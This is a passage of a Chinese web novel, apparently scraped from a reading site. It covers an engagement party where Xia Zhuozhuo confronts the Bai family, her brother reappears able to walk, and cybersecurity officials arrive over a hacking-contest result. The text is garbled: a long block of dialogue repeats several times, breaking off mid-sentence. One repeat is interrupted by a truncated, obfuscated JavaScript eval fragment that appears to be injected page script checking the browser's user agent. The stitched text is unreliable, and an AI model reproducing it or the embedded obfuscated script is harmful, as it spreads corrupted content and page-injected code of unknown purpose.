门外果然站着冯太太和冯淮安。 “天使姐姐!”冯淮安直接扑到她的怀里。 夏灼灼揉了揉冯淮安的脑袋。 “安安来了?路上累不累?” 她跟冯淮安说着话,冯太太也跟司慎行打招呼。 眼底并无明显的意外。 但她很快把冯淮安带走了。 “我们先下楼了,你们一会儿也下来吧,客**部分都来了。”冯太太说完,就快速拉着冯淮安走了。 冯淮安年纪小,还不明白为什么妈妈非拉着他走,哼哼唧唧地不愿意离开。 还是被冯太太强行拖走的。 夏灼灼有些不好意思,埋怨地瞪了司慎行一眼。 刚才他要是躲起来不出面,就不会让冯太太和自己尴尬了。 司慎行倒是一脸磊落。 “我们正大光明在一起的,为什么要躲?” 不过下楼的时候,两个人还是分开来走。 外面的大多数人还不知道他们在一起了,在小范围内保密,目前来说对夏灼灼有益无害。 夏灼灼下楼后,看到大堂和外面的无边泳池的确来了很多客人。 其中一个,叫夏灼灼意外。 是窦斯齐。 他正跟一个年轻男人聊天,但很快注意到了夏灼灼。 夏灼灼只当不认识他,从他面前面不改色走过。 窦斯齐的目光也只在她身上停留了一瞬就别开了,仿佛也不认识她。 但夏灼灼背对他之后,明显感觉有一道阴冷的视线一直盯着她。 夏灼灼径直往户外的无边泳池走。 又在无边泳池旁边见到了另一个熟人——孙昭昭,孙氏的女儿。 两人上次见面,还是许菻兮从马上摔下来死的那天。 后来季远告诉过她,在她去追那匹摔死许菻兮的马的时候,孙昭昭“构陷”过她。 本以为孙昭昭会无视她,却没想到她竟然径直来到夏灼灼面前,微笑着跟她打招呼。 “夏七小姐,没想到你会来订婚宴,我还以为你不敢来的。” 夏灼灼听笑了。 “白家敢请,我为什么不敢来?难不成孙小姐以为,没脸见人的是我们家?” 孙昭昭一噎,脸上的笑容几乎维持不住。 “七小姐真是好伶牙俐齿的一张嘴。” “**如果嘴笨可以不说话的,没人把你当哑巴。” “你——”孙昭昭彻底黑了脸。 夏灼灼却不再跟她说话,径直往一个地方去。 泳池的角落里,站着一位不起眼的太太。 她拿了杯果汁,一个人站在那里静静地喝,直到夏灼灼走到她面前。 “夏小姐。”女人安静的脸上终于浮现出笑容:“我就猜到,你会来参加。” 女人不是别人,正是季远的嫂子,甄凝。 甄凝事先没跟她通过气,夏灼灼是在大堂的时候,通过落地窗偶然看到甄凝的。 当时心里还吃了一惊。 “你怎么猜到我会来的?”夏灼灼问。 “我回去之后,打听过夏家的事情,也就知道白家跟夏家的关系……按照您的性格,您一定会过来。所以白家寄了请柬来京都的时候,我答应会来。” 夏灼灼点头。 甄凝也是个聪明人,她也喜欢跟聪明人打交道。 只是甄凝在她自己的事情上容易犯糊涂。 她低声问道:“我让你搜集的资 料,你搜集齐了吗?” 甄凝的脸上出现灰败的神色。 “没有,他可能察觉到什么了,以前我很容易就能撞见他们……现在却好久没有见过那个男人了。” 夏灼灼道:“也有可能不是察觉到你不对劲,而是他的身体恶化的太厉害,他平等地怀疑每一个人,所以减少了跟那个男人的来往。” “那我怎么办?搜集不到证据,我就毁不掉他。”甄凝迫不及待想毁掉自己的丈夫。 同妻,多么可怜的两个字? 夏灼灼沉默一阵,说:“你跟季远的关系怎么样?” “一般。” “我跟他现在已经是朋友了。你可以找他帮忙。那毕竟是他家,他肯定安插了人,能够帮上你。” 甄凝一脸错愕。 “他安插人?他对他哥哥深信不疑,兄弟两个人关系很好。而且季远就是个纨绔,他哪里懂要在家里安插人?” 夏灼灼听到这里,就确定季远的纨绔人设做的很好。 “你信我,你既然来了沪城,订婚宴结束之后,你去见一见他,就说,是我让你去见他的。他会帮你。” 甄凝已经意识到了什么,眼睛瞪得很大。 “别急躁。”夏灼灼说:“还是上次我跟你说的那句话,欲速则不达。” 甄凝很认真地点头。 “我会找他好好聊一聊。” 夏灼灼应声。 就在这时候,有一群青年突然朝她的方向走过来。 她们站的是一个过道,很窄。 那群青年仿佛没看到她们似的,强行把她们挤开了。 夏灼灼感觉到自己的衣角被轻轻拉扯了一下。 她没透露出任何情绪,继续跟甄凝说着有的没的。 等到那群人走远,夏灼灼找了个借口去上卫生间。 再出来的时候,神色变得幽深了几分。 却在这时候,遇上了白知芙。 夏灼灼之前见过白太太,却没见到白知芙本人。 不过她见过白知芙的照片。 她今天一身白色礼服,像一朵圣洁的白牡丹。 很显然,她也认出了夏灼灼,迈步朝她走过来。 “夏小姐。”白知芙脸上挂着得体的笑。 夏灼灼轻轻点头:“你好,**,你今天很漂亮。” 白知芙道谢,随后问起了夏怀征。 “怀征他会来吗?” “会的。”夏灼灼说:“只是哥哥有点晕车,车子开得慢,晚一点才会到。” 这话说出口,白知芙很明显松了一口气。 料,你搜集齐了吗?” 甄凝的脸上出现灰败的神色。 “没有,他可能察觉到什么了,以前我很容易就能撞见他们……现在却好久没有见过那个男人了。” 夏灼灼道:“也有可能不是察觉到你不对劲,而是他的身体恶化的太厉害,他平等地怀疑每一个人,所以减少了跟那个男人的来往。” “那我怎么办?搜集不到证据,我就毁不掉他。”甄凝迫不及待想毁掉自己的丈夫。 同妻,多么可怜的两个字? 夏灼灼沉默一阵,说:“你跟季远的关系怎么样?” “一般。” “我跟他现在已经是朋友了。你可以找他帮忙。那毕竟是他家,他肯定安插了人,能够帮上你。” 甄凝一脸错愕。 “他安插人?他对他哥哥深信不疑,兄弟两个人关系很好。而且季远就是个纨绔,他哪里懂要在家里安插人?” 夏灼灼听到这里,就确定季远的纨绔人设做的很好。 “你信我,你既然来了沪城,订婚宴结束之后,你去见一见他,就说,是我让你去见他的。他会帮你。” 甄凝已经意识到了什么,眼睛瞪得很大。 “别急躁。”夏灼灼说:“还是上次我跟你说的那句话,欲速则不达。” 甄凝很认真地点头。 “我会找他好好聊一聊。” 夏灼灼应声。 就在这时候,有一群青年突然朝她的方向走过来。 她们站的是一个过道,很窄。 那群青年仿佛没看到她们似的,强行把她们挤开了。 夏灼灼感觉到自己的衣角被轻轻拉扯了一下。 她没透露出任何情绪,继续跟甄凝说着有的没的。 等到那群人走远,夏灼灼找了个借口去上卫生间。 再出来的时候,神色变得幽深了几分。 却在这时候,遇上了白知芙。 夏灼灼之前见过白太太,却没见到白知芙本人。 不过她见过白知芙的照片。 她今天一身白色礼服,像一朵圣洁的白牡丹。 很显然,她也认出了夏灼灼,迈步朝她走过来。 “夏小姐。”白知芙脸上挂着得体的笑。 夏灼灼轻轻点头:“你好,**,你今天很漂亮。” 白知芙道谢,随后问起了夏怀征。 “怀征他会来吗?” “会的。”夏灼灼说:“只是哥哥有点晕车,车子开得慢,晚一点才会到。” 这话说出口,白知芙很明显松了一口气。 料,你搜集齐了吗?” 甄凝的脸上出现灰败的神色。 “没有,他可能察觉到什么了,以前我很容易就能撞见他们……现在却好久没有见过那个男人了。” 夏灼灼道:“也有可能不是察觉到你不对劲,而是他的身体恶化的太厉害,他平等地怀疑每一个人,所以减少了跟那个男人的来往。” “那我怎么办?搜集不到证据,我就毁不掉他。”甄凝迫不及待想毁掉自己的丈夫。 同妻,多么可怜的两个字? 夏灼灼沉默一阵,说:“你跟季远的关系怎么样?” “一般。” “我跟他现在已经是朋友了。你可以找他帮忙。那毕竟是他家,他肯定安插了人,能够帮上你。” 甄凝一脸错愕。 “他安插人?他对他哥哥深信不疑,兄弟两个人关系很好。而且季远就是个纨绔,他哪里懂要在家里安插人?” 夏灼灼听到这里,就确定季远的纨绔人设做的很好。 “你信我,你既然来了沪城,订婚宴结束之后,你去见一见他,就说,是我让你去见他的。他会帮你。” 甄凝已经意识到了什么,眼睛瞪得很大。 “别急躁。”夏灼灼说:“还是上次我跟你说的那句话,欲速则不达。” 甄凝很认真地点头。 “我会找他好好聊一聊。” 夏灼灼应声。 就在这时候,有一群青年突然朝她的方向走过来。 她们站的是一个过道,很窄。 那群青年仿佛没看到她们似的,强行把她们挤开了。 夏灼灼感觉到自己的衣角被轻轻拉扯了一下。 她没透露出任何情绪,继续跟甄凝说着有的没的。 等到那群人走远,夏灼灼找了个借口去上卫生间。 再出来的时候,神色变得幽深了几分。 却在这时候,遇上了白知芙。 夏灼灼之前见过白太太,却没见到白知芙本人。 不过她见过白知芙的照片。 她今天一身白色礼服,像一朵圣洁的白牡丹。 很显然,她也认出了夏灼灼,迈步朝她走过来。 “夏小姐。”白知芙脸上挂着得体的笑。 夏灼灼轻轻点头:“你好,**,你今天很漂亮。” 白知芙道谢,随后问起了夏怀征。 “怀征他会来吗?” “会的。”夏灼灼说:“只是哥哥有点晕车,车子开得慢,晚一点才会到。” 这话说出口,白知芙很明显松了一口气。 料,你搜集齐了吗?” 甄凝的脸上出现灰败的神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怀征他会来吗?” “会的。”夏灼灼说:“只是哥哥有点晕车,车子开得慢,晚一点才会到。” 这话说出口,白知芙很明显松了一口气。 料,你搜集齐了吗?” 甄凝的脸上出现灰败的神色。 “没有,他可能察觉到什么了,以前我很容易就能撞见他们……现在却好久没有见过那个男人了。” 夏灼灼道:“也有可能不是察觉到你不对劲,而是他的身体恶化的太厉害,他平等地怀疑每一个人,所以减少了跟那个男人的来往。” “那我怎么办?搜集不到证据,我就毁不掉他。”甄凝迫不及待想毁掉自己的丈夫。 同妻,多么可怜的两个字? 夏灼灼沉默一阵,说:“你跟季远的关系怎么样?” “一般。” “我跟他现在已经是朋友了。你可以找他帮忙。那毕竟是他家,他肯定安插了人,能够帮上你。” 甄凝一脸错愕。 “他安插人?他对他哥哥深信不疑,兄弟两个人关系很好。而且季远就是个纨绔,他哪里懂要在家里安插人?” 夏灼灼听到这里,就确定季远的纨绔人设做的很好。 “你信我,你既然来了沪城,订婚宴结束之后,你去见一见他,就说,是我让你去见他的。他会帮你。” 甄凝已经意识到了什么,眼睛瞪得很大。 “别急躁。”夏灼灼说:“还是上次我跟你说的那句话,欲速则不达。” 甄凝很认真地点头。 “我会找他好好聊一聊。” 夏灼灼应声。 就在这时候,有一群青年突然朝她的方向走过来。 她们站的是一个过道,很窄。 那群青年仿佛没看到她们似的,强行把她们挤开了。 夏灼灼感觉到自己的衣角被轻轻拉扯了一下。 她没透露出任何情绪,继续跟甄凝说着有的没的。 等到那群人走远,夏灼灼找了个借口去上卫生间。 再出来的时候,神色变得幽深了几分。 却在这时候,遇上了白知芙。 夏灼灼之前见过白太太,却没见到白知芙本人。 不过她见过白知芙的照片。 她今天一身白色礼服,像一朵圣洁的白牡丹。 很显然,她也认出了夏灼灼,迈步朝她走过来。 “夏小姐。”白知芙脸上挂着得体的笑。 夏灼灼轻轻点头:“你好,**,你今天很漂亮。” 白知芙道谢,随后问起了夏怀征。 “怀征他会来吗?” “会的。”夏灼灼说:“只是哥哥有点晕车,车子开得慢,晚一点才会到。” 这话说出口,白知芙很明显松了一口气。 料,你搜集齐了吗?” 甄凝的脸上出现灰败的神色。 “没有,他可能察觉到什么了,以前我很容易就能撞见他们……现在却好久没有见过那个男人了。” 夏灼灼道:“也有可能不是察觉到你不对劲,而是他的身体恶化的太厉害,他平等地怀疑每一个人,所以减少了跟那个男人的来往。” “那我怎么办?搜集不到证据,我就毁不掉他。”甄凝迫不及待想毁掉自己的丈夫。 同妻,多么可怜的两个字? 夏灼灼沉默一阵,说:“你跟季远的关系怎么样?” “一般。” “我跟他现在已经是朋友了。你可以找他帮忙。那毕竟是他家,他肯定安插了人,能够帮上你。” 甄凝一脸错愕。 “他安插人?他对他哥哥深信不疑,兄弟两个人关系很好。而且季远就是个纨绔,他哪里懂要在家里安插人?” 夏灼灼听到这里,就确定季远的纨绔人设做的很好。 “你信我,你既然来了沪城,订婚宴结束之后,你去见一见他,就说,是我让你去见他的。他会帮你。” 甄凝已经意识到了什么,眼睛瞪得很大。 “别急躁。”夏灼灼说:“还是上次我跟你说的那句话,欲速则不达。” 甄凝很认真地点头。 “我会找他好好聊一聊。” 夏灼灼应声。 就在这时候,有一群青年突然朝她的方向走过来。 她们站的是一个过道,很窄。 那群青年仿佛没看到她们似的,强行把她们挤开了。 夏灼灼感觉到自己的衣角被轻轻拉扯了一下。 她没透露出任何情绪,继续跟甄凝说着有的没的。 等到那群人走远,夏灼灼找了个借口去上卫生间。 再出来的时候,神色变得幽深了几分。 却在这时候,遇上了白知芙。 夏灼灼之前见过白太太,却没见到白知芙本人。 不过她见过白知芙的照片。 她今天一身白色礼服,像一朵圣洁的白牡丹。 很显然,她也认出了夏灼灼,迈步朝她走过来。 “夏小姐。”白知芙脸上挂着得体的笑。 夏灼灼轻轻点头:“你好,**,你今天很漂亮。” 白知芙道谢,随后问起了夏怀征。 “怀征他会来吗?” “会的。”夏灼灼说:“只是哥哥有点晕车,车子开得慢,晚一点才会到。” 这话说出口,白知芙很明显松了一口气。 第218章 夏怀征不残废了? 白知芙松了一口气的原因很简单。 她今天订婚,未婚夫却不是以前救了她性命的夏怀征。 今天来参加订婚宴的人,虽然看似各个都带着祝福庆贺她,实则都在背地里嚼舌根。 就刚才,她都无意间听到他们在她背后说什么“白眼狼”。 所以,夏怀征的到来对她来说很重要。 毕竟连夏怀征本人都不怪她,其他人又凭什么在背后戳她脊梁骨呢? 夏怀征的到来,是她不是白眼狼的最佳证据。 她只要在订婚宴结束之后派几个人推波助澜,众人的口风很快会扭转。 人们会觉得,夏怀征能出席订婚宴,一定是他主动提出来的取消婚约。 而非现在大家以为的,是白家嫌弃夏怀征是个残废。 故而白知芙得知夏怀征很快就会到的时候,立刻松了口气。 但她转瞬就露出委屈羞愧的神色。 “七小姐,你回夏家不久,可能也会听到一些风言风语,但其实,我想跟你说,我跟你哥哥本来就没有太多的感情,不是我负了他,就算没有发生那件事,我们也订不婚了的。” 夏灼灼点头,表示理解。 “现在本来就提倡自由婚姻,父母之命的时代早就过去了。” 白知芙很感激地看着她说:“夏小姐,你居然懂我。说不定以后我们会成为朋友。” 夏灼灼却是耸肩。 “朋友怕是成不了。” “为什么?” “白小姐贵人多忘事,忘了白念城是因为谁被废的了?对了,他今天怎么没来?是没脸见人吗?看来白念城厚脸皮的功夫还得多跟你学一学呀!” 白知芙脸上的表情一瞬间凝滞住。 她以为夏灼灼是个好糊弄的蠢人,却没想到,刚才的那些温言温语,竟然是夏灼灼在糊弄她。 她直接黑了脸。 “夏小姐,你这是几个意思?” “没什么意思,我只想跟你说,人在做,天在看,不是不报,只是时候未到罢了。” 说完,她拍了拍白知芙的肩膀,走了。 白知芙气得脸色通红。 她妈妈说的果然没错,夏家这个七小姐是个黑心的小贱人。 且等她结束今天的订婚宴吧。 完成了她自己的人生大事之后,她再腾出手来对付夏家人。 而夏灼灼又折回洗手间,去洗了一把手才出来。 等她回到外面,白知芙的未婚夫余一鸣也出来了。 他的确长得一表人才,一身白色西服显得他更加儒雅。 而且他还很会说话,逗的宾客们纷纷开怀大笑。 白知芙站在余一鸣旁边。 他在逗,她在笑。 简直天造地设的一对。 夏灼灼看得出来,白知芙对这个新未婚夫的确是有几分真心喜欢的。 但这点真心,又值几个钱? 白家的人,从来只最爱自己。 就在这时,有人提起了一件事。 “余兄,听说前两周你参加了官方组织的黑客比赛?” 余一鸣点头。 那人立刻问:“出结果了吗?” 余一鸣摇摇头,说:“暂时还没有,不过应该快了,就这一两天的事情了。” 那人立刻吹捧:“你从小就在这方面很有天赋,这次的冠军一定非你莫属。等结果一出来,你就是双喜临门啊!” 另一人说:“只是可惜,不是今天公布结果,不然才真算是双喜临门。” 余一鸣谦虚地说冠军不一定是自己,可表情却隐隐透着志在必得的得意。 旁边的白知芙也笑得很灿烂。 她未婚夫有出息,她也与有荣焉。 不像某些人,余生都只能当个残废。 幸好,当初她就算是顶着骂名,也要跟那个残废撇清关系。 不知情的人问:“这个冠军有什么用吗?奖金很高?” 立刻有人笑着说:“不是奖金的问题,这可是官方的比赛。我听说啊,冠军得主可以直接进入官方网络安全局做高层。” 这话一出,所有人看余一鸣的眼神都正色了几分。 白太太很得意地笑起来。 “如果真拿了冠军,我家小芙以后就可以安心在家里享清福了。” 白季勇虽然嘴上没说什么,但向来严肃的眉头也舒展了几分。 余一鸣的家世算是中规中矩,白季勇先前并不是很看得上他。 只是白知芙自己喜欢,他没办法。 直到这次比赛,余一鸣说他志在必得,白季勇才对他转变了态度。 有人捧余一鸣,自然也有人踩夏怀征。 “幸好白小姐眼光好,否则啊……” 虽然没明着说夏怀征的名字,但在场的人懂的都懂。 这人的意思是:幸好白知芙跟余一鸣在一起了,否则这辈子就要葬送在夏家那个残废身上了。 不少人听到这话,下意识都看向夏灼灼。 有人的眼神里带着怜悯,也有人带着明显的讽刺。 冯太太一副事不关己的模样,只安静地站在人群里。 她不担心夏灼灼,因为很快这些人就会被打脸。 毫不知情的甄凝担心地看了眼夏灼灼,却见夏灼灼唇角始终挂着一抹淡淡的笑容。 不拘谨,很自如。 她这才稍稍放心。 就在这时,夏灼灼的余光瞥见不远处有人一步步往这边走来。 她突然扬起笑容,很大声地喊了声:“大哥,你来了。” 大哥? 众人表情错愕。 夏灼灼的大哥,是夏怀征。 他竟然会来? 大家不约而同顺着夏灼灼的视线看过去,等看清来人之后,几乎所有人,包括白知芙在内,均是瞪大了双眼。 “那是……夏怀征?” 有人忍不住惊呼出声:“他竟然能走路?” “谁?夏怀征会走路?他不是已经成了残废吗?” 有人不信,挤到人群最前面去看,瞬间也瞪大了眼睛。 “是他!就是他!” 夏怀征不仅能走路,还走得很快,步子看起来十分轻松,哪里看得出半点残疾的样子? 白家人,纷纷愣在原地。 “大哥。”夏灼灼迎上去。 夏怀征微微点头,唇角半勾,面露宠溺。 白家人这时候也收起了惊讶的表情。 不管怎么样,夏怀征来了就好。 他的腿既然好了,那么别人更不会骂他们白家是白眼狼了。 他没残废么不是? 这是好事。 白知芙告诉自己。 可心里莫名不是味道。 白季勇率先走上前跟夏怀征打招呼。 “怀征,许久没见了。你这腿……是什么时候恢复的?” “最近。”夏怀征看了眼夏灼灼,说:“还好我妹妹是个神医,治好我的腿,否则我一辈子都将会是个残疾。” 众人惊讶。 “早听说夏家这位七小姐医术不一般,治好了杜老先生的顽疾,我还以为是凑合,现在看来,这是真有医术啊。” “何止有医术,当初夏家没少给夏怀征找名医,却都没有办法,竟是被失散多年的女儿给治好了。” “以后我要是病了,也找夏小姐看。” “那你可得好好奉承人家。” “那是自然,你也是,谁家还没有个生老病死?” 夏灼灼从出现到刚才,一直没什么人跟她主动搭话。 现在所有人看她的眼神都变了。 夏怀征两句话,把夏灼灼捧上了神坛。 孙昭昭听着,眼神阴冷一片。 而窦斯齐,眼神闪了闪,很快恢复平静。 唯独白家人,脸色都不大好看。 夏怀征几句话,明着是在吹捧夏灼灼的医术,实则又把当初夏怀征用自己的双腿救了白知芙的命的事搬到了明面上来。 白季勇一时语塞。 还是白知芙走上前说:“怀征哥,当初谢谢你从马下救下了我,现在看到你痊愈,我很为你高兴。也很高兴,你能来参加我的订婚宴。只是我们之前到底缺了点缘分,希望你能放下心结,以后我们继续做朋友。” 她把话直接挑明,反而让宾客们无话可说。 夏怀征神色淡淡。 “我既然来了,就是已经放下了心结。你们过去的错,我既往不咎,以后两家还可以常来常往。” 他又强调了白家的错。 白知芙咬着牙笑。 “是……两家以后都还是朋友。” 余一鸣深深看了夏怀征一眼,道:“夏少,以后有什么需要帮忙的,尽管开口。你救了知芙,那就是我的恩人。” 夏怀征淡淡点头,没多说什么。 他一袭蓝色西装,贵气又英俊,硬生生把今天的男主角都给“艳压”了下去。 余一鸣在他面前,被衬托得像个路人甲。 宾客们便窃窃私语。 “这么看来,白家还是选错了。这位夏少一表人才,不是余一鸣能比的。” “当然选错了,当初白家悔婚,是因为夏怀征的腿废了,现在他的腿治好了,哪里是余一鸣能比的?” 也有人不赞成。 “话不能这么说。如果夏家还是从前的夏家,白家当然是选错了,可现在夏家今时不同往日,夏云海入狱,夏氏破产,别说余一鸣了,今天在场的,谁身份不比夏怀征高?” “这倒也是……” “我还听说,夏家前阵子拮据到只能住在他们家以前的狗窝里呢!” ——这事儿不知道是从什么时候传出来的谣言。 但谣言起头的人,已经在监狱里了。 这话一出,大家又不觉得余一鸣只是个路人甲了。 “刚才不是还说,余一鸣很快就要进华夏网络安全局了吗?那可是个好地方,再往上升,前途无量啊!” “也是,这么一比,夏怀征还真不如余一鸣。” “白家人的眼光不会错的。” 第219章 黑客大赛冠军 夏灼灼和夏怀征的耳朵不聋,隐隐能听到他们的议论。 但他们谁都没表现出不满,依旧是神色安静。 他们越是镇定平静,大家反而越不好意思说夏怀征的不是了。 再怎么样,夏怀征也是为了自己心爱的女人甘愿付出这么大代价的人。 换成他们任何一个,都不敢保证自己在那种危急关头,能做出跟夏怀征一样的选择。 不论如何,夏怀征的人品是有目共睹的。 因而,大家也不因夏家破产,而轻视夏怀征,纷纷上前打招呼致意。 “夏少的腿既然好了,改天咱们去打高尔夫去!” “夏少喜欢打保龄球吗?” “夏小姐,不知什么时候有空,来我们家坐坐?” 一时间,兄妹两个成为了这场订婚宴炙手可热的人物。 白知芙和余一鸣这对主角,反而备受冷落。 余一鸣很不爽,借着上卫生间的借口,抽烟去了。 只是抽了两口,他就把烟给扔了。 可能是心情不好,今天他连烟都有点抽不进去。 抽两口就想吐,还伴随一点点头晕目眩。 他喝了口水,这才觉得好些了,就不再碰烟,回到了泳池边。 而白知芙,明面上是在跟她妈妈说话,余光却不由自主地,多看了夏怀征几眼。 夏怀征还是那个夏怀征,虽然比以前他们认识的时候要瘦一些,可长相分毫没变。 但不知道怎么的,白知芙就是觉得他整个人都大变样了。 是因为遭遇了那场变故,人变得更沉稳了吗? 沉稳到……让人莫名心跳加速。 刚才那些宾客们的议论声她是听到了的,他们夸他有情有义,为了自己心爱的女人,甘愿付出那么大的代价。 而那个心爱的女人,就是她。 不可否认,那一刻,她的虚荣心得到了巨大的满足。 没有几个男人能为了自己喜欢的人,甘愿付出双腿的。 心里生出了这点旖旎之后,白知芙更是频频看夏怀征。 还是白太太先注意到了,立刻沉下脸,提醒自己的女儿。 “你现在已经是半个余家的人了。” 白知芙心中一惊,很快回过神来,不再去关注夏怀征。 只偶尔目光扫过的时候,会在他身上停留多半秒。 很快余一鸣回来了。 他松了松领带,对白知芙说:“我可能有点中暑,烟都抽不进去了,想吐。” 白知芙已经闻到了他身上的烟味。 白季勇也抽烟,平时白知芙闻到烟味,不会特别抵触,已然习惯。 可今天不知道为什么,她突然很不想闻到这味道。 她记得,夏怀征是从来不抽烟的。 “既然抽不进去,就干脆戒了吧,烟味太臭了。”白知芙说。 余一鸣蹙眉。 “这东西是说戒就能戒的吗?” 白知芙不跟他吵。 他们是自由恋爱看对眼的,两个人感情虽然不错,但偶尔也会跟普通情侣一样为一点小事争吵。 可今天这么多宾客在场,她不想跟余一鸣吵架。 余一鸣却也不是一个迟钝的,感觉到白知芙在夏怀征出现之后,对自己的态度有了明显的变化。 他黑下脸。 “小芙,你不会因为那个残废不残废了,所以三心二意了吧?” 白知芙瞪他一眼。 “你在胡说什么?” “我没有胡说,是你不对劲。” “你想多了!” 余一鸣紧了紧手心,心里对夏怀征更是不满意了。 他借着敬酒的机会,来到夏怀征面前。 “夏少,听说你以前也玩电脑?” 玩电脑——说的是夏怀征也会黑客技术。 夏怀征道:“爱好而已。” “只是爱好吗?我之前听说,你的黑客技术还挺不错的,好像在黑客榜也榜上有名?” 不等夏怀征回答,余一鸣率先说:“我排行第九,你呢?” 上黑客榜的,基本都不用真名,所以余一鸣虽然从白知芙那里听说过他榜上有名,却不知道他排行第几。 国际黑客榜非常权威,能上前五十已经非常了不起。 何况是他这个第九名? 余一鸣对自己的排名很骄傲。 他想用这点骄傲,压下他心里莫名生出来的燥意。 “我病了几年,早就不在榜上了,现在说第几名没有任何意义。” 黑客榜,每年都会更新。 夏怀征病了之后算是退圈了,故而的确几年不在榜上。 余一鸣却以为夏怀征是听到他说他排行第九,就不好意思说自己的名次了。 余一鸣笑了笑,心情大好。 “是我啰嗦了,你请自便。”余一鸣举了举手里的香槟,自己先干为敬。 但是喝完之后,他又开始有点头晕恶心,心跳也变得很快。 看来他真是中暑了。 余一鸣找服务生要了点解暑药吃。 夏灼灼看着余一鸣离开的背影,眸光深远。 她转而看向窦斯齐。 窦斯齐正好在看她。 目光猝然对上,窦斯齐来不及收回,索性对着她笑了笑,来到她面前。 “夏小姐,久闻大名,听说你医术很好,回头能不能帮忙看看我弟弟,帮他开个调理身体的方子?” “你是哪位?我最近很忙,恐怕没空。”夏灼灼一副不屑于搭理他的样子。 窦斯齐也不纠缠,点头说:“刚才很多人请您,是我唐突了。 说完,他便转身走了。 夏怀征低声问她:“这人是什么意思?” “不用管他。”夏灼灼笑了笑,说。 夏怀征也因此没放在心上。 很快订婚宴正式开始了——刚才只是迎客,这会儿预先选定的好时辰到了,才开始走订婚的流程。 大堂已经被布置好,一团喜气。 白知芙和余一鸣的订婚宴,是遵照余一鸣那边的习俗。 两边先交换了婚书,又交换订婚礼物,然后才做敬茶礼。 余家那边的风俗,订婚的时候就要开始改口。 所以这茶礼也尊照婚礼的茶礼来。 两人给双方父母都敬完茶,众人鼓起掌来。 “恭喜恭喜!” “就等两位结婚了!” 两家人笑着致谢,很快又来到外面的场地。 雾气早已经散了,热气就扑上来。 如今立秋已过,但秋老虎的威力依旧不容小觑,不少男士都解开了西装的两颗扣子。 余一鸣的额头上布上了一层密密麻麻的细汗。 可能是刚才做订婚礼太累了,他竟然有点喘不上气。 “小芙。”他对白知芙说:“我有点不舒服,想去躺一躺。” 白知芙的余光瞥见夏怀征正含笑跟一个女人说话。 他身形高大挺拔,笔直似刃,面容英俊十分体面。 而眼前的余一鸣,身高虽然也过一米八了,但比夏怀征矮了至少半个头,加上头发和额头都是汗,显得整个人很是狼狈。 她突然觉得余一鸣有点上不得台面了。 “订婚宴才刚开始呢,你现在去休息像什么样子?大男人这点累都受不了吗?你还是不是男人?” 无意识间,她说话有点夹枪带棒。 但余一鸣很不舒服,不想跟她吵。 “我真的有点中暑。” “那就喝点中暑药!” “我已经喝过了,还是不舒服。心慌的厉害,还有点喘不过气。” “那就再吃一点!来人……” 她叫来服务生,不给余一鸣拒绝的机会。 余一鸣紧了紧拳头,到底还是没去休息。 他的余光瞥见夏怀征被不少女人围着,心中的燥意又起来了。 这个夏怀征,真是叫人讨厌! 等着吧,他总有机会叫他出丑的。 …… 夏灼灼看了一圈,没见到司慎行的人。 她以为司慎行至少会在订婚礼开始的时候出现,却没想到现在还见不到人影。 他不会是在房间里睡着了吧? 夏灼灼正要摸出手机给司慎行发消息,一道清冽的嗓音突然响起。 “找什么呢?” 夏灼灼骤然回头,正是司慎行。 “我以为你睡着了。” “是。床上有你的香气,一不留神就睡过去了。” “……你能不能正经点?” “又没人听见。” 他们说话声音很低。 夏灼灼正欲提醒他别乱说话,就有人注意到了司慎行。 “司先生?” 司慎行转过头去。 那几位宾客立刻迎上前。 “还真是您!我还以为我看错了。” 很快司慎行就被人团团围住了。 夏灼灼适时退出司慎行旁边,朝冯太太走过去。 “是时候了。”她说。 冯太太一颔首。 片刻后,一群穿着制服的人出现在众人视线里。 酒店的经理正为他们领路。 这样一番动静,自然引得很多人侧目。 “这是什么人?” “这制服没见过呀。” “后面那两个跟着的好像是军官,看起来怪吓人的。” “有什么好吓人的?白先生身边不是也跟了两个警卫员?” 一番议论,余家人哪怕不想惹麻烦,也只能上去询问。 ——总不能让女方的家人去问。 “这里今天被我们家包场了,请问几位是?”余一鸣的父亲余先生问。 为首的中年男人说:“打扰你们了,实在不好意思。” 又自我介绍道:“我是华夏网络安全局的董震。” 这话一出,所有人都看向了余一鸣。 余一鸣的脸色不知怎的,显得很是苍白。 可听到对方的自我介绍,也是一刹那亮起了眼睛。 他立刻走上前去,做起了自我介绍。 “董局,久闻大名,我是余一鸣。麻烦您还亲自跑一趟通知我比赛结果。” 第220章 冠军是夏怀征 这话一出,满场哗然。 “吓我一跳,原来是来颁奖的。” “我知道董局,华夏网络安全局的一把手。他这么大一号人物,竟然亲自找到这里颁奖。余一鸣未来前途无量啊!” “我就说,白家人的眼光不会错的,他们不可能无缘无故找一个普通人当女婿。” 余一鸣其实不算普通人。 只是在他们这些最上流的圈子里,略显平庸罢了。 在普通人的世界里,余一鸣也是他们很难接触到的阶层了。 “这个比赛的含金量竟然这么高,董局都亲自来颁奖了。” “我看不止颁奖,没看还带了那么多人吗?可能是直接接人去京都上任的。” “好大的排面!余一鸣的名字,以后要比白家还要响亮了。” “白知芙还挺会挑人的,每一任……都不同凡响啊。” 有人看了眼不远处的夏怀征说。 这些议论声,自然也钻到了白知芙的耳朵里。 她刚才心里还对余一鸣生出了嫌弃,现在却是满面春光,脸上哪里还能看到半分对余一鸣的不满的? 男人的魅力,得靠他的能力装扮。 容貌和身高,都要往能力之后排。 她刚才也是糊涂了,竟然因为夏怀征的到来,乱了心思。 真是不应该。 白知芙心里闪过无数想法,脸上却是始终只挂着一抹荣辱不惊的笑。 她也朝董震走过去,向他道谢,还邀请他参加订婚宴。 董震看了看余一鸣,又看了看白知芙,脸上一头雾水,似是很茫然。 “你们两位是……?” 白知芙狠狠一怔。 她敏锐些,已经觉察出了不大对劲。 只是没等她开口,旁边的余一鸣率先说:“我是余一鸣,一鸣惊人的一鸣。” 他比较迟钝,丝毫没察觉不对劲,只以为董震是没听清楚他刚才的自我介绍。 又或者说,他不是迟钝,而是对冠军的势在必得。 他认定了自己是冠军,当然也就认定董震是冲他来的。 董震深深看了余一鸣一眼。 “你也参加了比赛?” 余一鸣这时候才意识不对劲。 什么叫“也参加了比赛”? 